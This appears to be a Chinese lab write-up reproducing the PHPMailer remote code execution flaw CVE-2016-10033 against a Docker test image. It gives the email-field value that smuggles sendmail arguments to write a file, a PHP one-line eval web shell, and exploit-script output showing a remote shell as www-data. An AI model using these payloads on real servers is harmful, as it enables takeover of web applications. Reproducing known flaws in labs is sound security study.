本文由简悦 SimpRead 转码，原文地址 mp.weixin.qq.com

PHPMailer 远程命令执行漏洞复现

一、漏洞简介

PHPMailer 是 PHP 电子邮件创建及传输类，用于多个开源项目：WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! 等。

PHPMailer < 5.2.18 版本存在安全漏洞，可使未经身份验证的远程攻击者在 Web 服务器用户上下文中执行任意代码，远程控制目标 web 应用。

二、影响版本：

PHPMailer<5.2.18

三、漏洞复现

Docker 环境：

docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

拉去镜像启动环境：

http://192.168.1.107:8080/

http://192.168.1.107:8080/
在name处随便输入比如“aaa”，在email处输入：

"aaa". -OQueueDirectory=/tmp/. -X/var/www/html/a.php @aaa.com
在message处输入一句话木马：

<?php @eval($_POST['thelostworld']); ?>

上传完一句话木马后，页面会响应 3-5 分钟，响应时间较长

木马地址：http://192.168.1.107:8080/a.php 密码：thelostworld

虚拟终端：

使用脚本：

获取脚本后台回复 “PHPMailer” 获取脚本

➜  Desktop ./exploit.sh 192.168.1.107:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting 192.168.1.107:8080


[+] Target exploited, acessing shell at http://192.168.1.107:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> [+] Running 


RemoteShell> id
[+] Running id
uid=33(www-data) gid=33(www-data) groups=33(www-data)